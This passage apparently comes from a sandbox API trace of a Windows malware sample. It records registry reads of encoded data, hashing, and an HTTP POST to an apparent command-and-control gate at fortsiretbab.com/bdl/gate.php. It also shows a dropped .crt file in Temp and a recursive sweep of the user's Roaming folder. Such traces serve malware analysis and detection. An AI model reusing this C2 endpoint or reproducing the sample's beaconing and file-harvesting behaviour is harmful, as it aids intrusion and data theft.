cbData=0x1b8f | out: lpData=0x8e1328*) returned 0x0 [0115.811] RegCloseKey (hKey=0x444) returned 0x0 [0115.811] ReleaseMutex (hMutex=0x440) returned 1 [0115.811] CloseHandle (hObject=0x440) returned 1 [0115.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0115.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x862498, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", lpUsedDefaultChar=0x0) returned 28 [0115.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d8f018, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0115.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d8f018, cbMultiByte=2, lpWideCharStr=0x84d5f8, cchWideChar=3 | out: lpWideCharStr="18") returned 2 [0115.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0115.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x899a58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18", lpUsedDefaultChar=0x0) returned 2 [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.811] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.812] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.813] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] GetTickCount () returned 0x23dba [0115.814] CryptAcquireContextW (in: phProv=0x2d8f734, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2d8f734*=0x892a60) returned 1 [0115.815] CryptCreateHash (in: hProv=0x892a60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2d8f730 | out: phHash=0x2d8f730) returned 1 [0115.815] CryptHashData (hHash=0x85b1e0, pbData=0x8ba4c8, dwDataLen=0x317, dwFlags=0x0) returned 1 [0115.815] CryptGetHashParam (in: hHash=0x85b1e0, dwParam=0x2, pbData=0x8ba4b8, pdwDataLen=0x2d8f72c, dwFlags=0x0 | out: pbData=0x8ba4b8, pdwDataLen=0x2d8f72c) returned 1 [0115.815] CryptDestroyHash (hHash=0x85b1e0) returned 1 [0115.815] CryptReleaseContext (hProv=0x892a60, dwFlags=0x0) returned 1 [0115.815] InternetCrackUrlA (in: lpszUrl="http://fortsiretbab.com/bdl/gate.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x2d8f820 | out: lpUrlComponents=0x2d8f820) returned 1 [0115.815] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0115.815] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x2, lpBuffer=0x323004, dwBufferLength=0x4) returned 1 [0115.815] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x6, lpBuffer=0x32300c, dwBufferLength=0x4) returned 1 [0115.815] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x5, lpBuffer=0x323014, dwBufferLength=0x4) returned 1 [0115.815] InternetConnectA (hInternet=0xcc0010, lpszServerName="fortsiretbab.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0014 [0115.815] HttpOpenRequestA (hConnect=0xcc0014, lpszVerb="POST", lpszObjectName="/bdl/gate.php", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x323018*="*/*", dwFlags=0x8404c700, dwContext=0x0) returned 0xcc0018 [0115.815] HttpSendRequestA (in: hRequest=0xcc0018, lpszHeaders="Connection: close\r\n", dwHeadersLength=0x13, lpOptional=0x8ba498*, dwOptionalLength=0x347 | out: lpOptional=0x8ba498*) returned 1 [0116.274] HttpQueryInfoA (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0x2d8f874, lpdwBufferLength=0x2d8f870, lpdwIndex=0x0 | out: lpBuffer=0x2d8f874*, lpdwBufferLength=0x2d8f870*=0x4, lpdwIndex=0x0) returned 1 [0116.274] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0116.274] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x2b40048, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x2d8f878 | out: lpBuffer=0x2b40048*, lpdwNumberOfBytesRead=0x2d8f878*=0x2e2) returned 1 [0116.275] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0116.275] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x2b4032a, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x2d8f878 | out: lpBuffer=0x2b4032a*, lpdwNumberOfBytesRead=0x2d8f878*=0x0) returned 1 [0116.275] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0116.276] InternetQueryOptionA (in: hInternet=0xcc0014, dwOption=0x15, lpBuffer=0x2d8f88c, lpdwBufferLength=0x2d8f888 | out: lpBuffer=0x2d8f88c, lpdwBufferLength=0x2d8f888) returned 1 [0116.276] InternetCloseHandle (hInternet=0xcc0014) returned 1 [0116.276] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0116.276] CryptAcquireContextW (in: phProv=0x2d8f760, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2d8f760*=0x892a60) returned 1 [0116.277] CryptCreateHash (in: hProv=0x892a60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2d8f75c | out: phHash=0x2d8f75c) returned 1 [0116.277] CryptHashData (hHash=0x85b1a0, pbData=0x2b40078, dwDataLen=0x10, dwFlags=0x0) returned 1 [0116.277] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x2d8f788, pdwDataLen=0x2d8f758, dwFlags=0x0 | out: pbData=0x2d8f788, pdwDataLen=0x2d8f758) returned 1 [0116.277] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0116.277] CryptReleaseContext (hProv=0x892a60, dwFlags=0x0) returned 1 [0116.277] ReleaseMutex (hMutex=0x43c) returned 1 [0116.277] CloseHandle (hObject=0x43c) returned 1 Thread: id = 177 os_tid = 0xa0c [0116.632] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x2a6f58c | out: phkResult=0x2a6f58c*=0x448) returned 0x0 [0116.632] RegQueryValueExW (in: hKey=0x448, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x2a6f858, lpData=0x0, lpcbData=0x2a6f588*=0x0 | out: lpType=0x2a6f858*=0x3, lpData=0x0, lpcbData=0x2a6f588*=0x2497) returned 0x0 [0116.632] RegQueryValueExW (in: hKey=0x448, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x2a6f858, lpData=0x8e7328, lpcbData=0x2a6f588*=0x2497 | out: lpType=0x2a6f858*=0x3, lpData=0x8e7328*, lpcbData=0x2a6f588*=0x2497) returned 0x0 [0116.632] RegCloseKey (hKey=0x448) returned 0x0 [0116.632] CryptAcquireContextW (in: phProv=0x2a6f408, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2a6f408*=0x8926a8) returned 1 [0116.632] CryptCreateHash (in: hProv=0x8926a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2a6f404 | out: phHash=0x2a6f404) returned 1 [0116.632] CryptHashData (hHash=0x85b1e0, pbData=0x8e7358, dwDataLen=0x2467, dwFlags=0x0) returned 1 [0116.632] CryptGetHashParam (in: hHash=0x85b1e0, dwParam=0x2, pbData=0x2a6f430, pdwDataLen=0x2a6f400, dwFlags=0x0 | out: pbData=0x2a6f430, pdwDataLen=0x2a6f400) returned 1 [0116.632] CryptDestroyHash (hHash=0x85b1e0) returned 1 [0116.632] CryptReleaseContext (hProv=0x8926a8, dwFlags=0x0) returned 1 [0116.632] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x2a6fab0 | out: lpBuffer="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 0x25 [0116.632] PathAddBackslashW (in: pszPath="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned="" [0116.632] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] GetTickCount () returned 0x240e6 [0116.633] PathCombineW (in: pszDest=0x2a6f8a8, pszDir="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\", pszFile="okguaxb" | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb") returned="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb" [0116.633] PathAddExtensionW (in: pszPath="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb", pszExt=".crt" | out: pszPath="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt") returned 1 [0116.633] GetFileAttributesW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\okguaxb.crt")) returned 0xffffffff [0116.635] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\okguaxb.crt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2a6f744, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0116.636] GetFileType (hFile=0x448) returned 0x1 [0116.636] WriteFile (in: hFile=0x448, lpBuffer=0x8cf6c8*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x2a6dcf4, lpOverlapped=0x0 | out: lpBuffer=0x8cf6c8*, lpNumberOfBytesWritten=0x2a6dcf4*=0x401, lpOverlapped=0x0) returned 1 [0116.637] CloseHandle (hObject=0x448) returned 1 [0116.637] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2a6f634 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0116.637] wvnsprintfW (in: pszDest=0x2a6f140, cchDest=260, pszFmt="%s\\*", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\*") returned 41 [0116.637] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\*", lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 0x85b1a0 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\05oewX0nTg7og.odt") returned 57 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\0c6f.odp") returned 48 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\0yTpACI.mp3") returned 51 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\1AuteqdBfZ5_r_d4hu.pdf") returned 62 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\1kQkWQKctU4Do4q.wav") returned 59 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\5mZuS5LT8jNy.ppt") returned 56 [0116.638] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.638] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe") returned 45 [0116.638] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\*") returned 47 [0116.638] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.644] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.644] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.644] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat") returned 53 [0116.644] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned 55 [0116.644] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.644] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.644] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.644] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned 58 [0116.644] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*") returned 60 [0116.644] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.644] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.644] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.644] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned 65 [0116.644] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*") returned 67 [0116.644] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.645] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.645] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.645] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.645] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.645] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned 64 [0116.645] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK 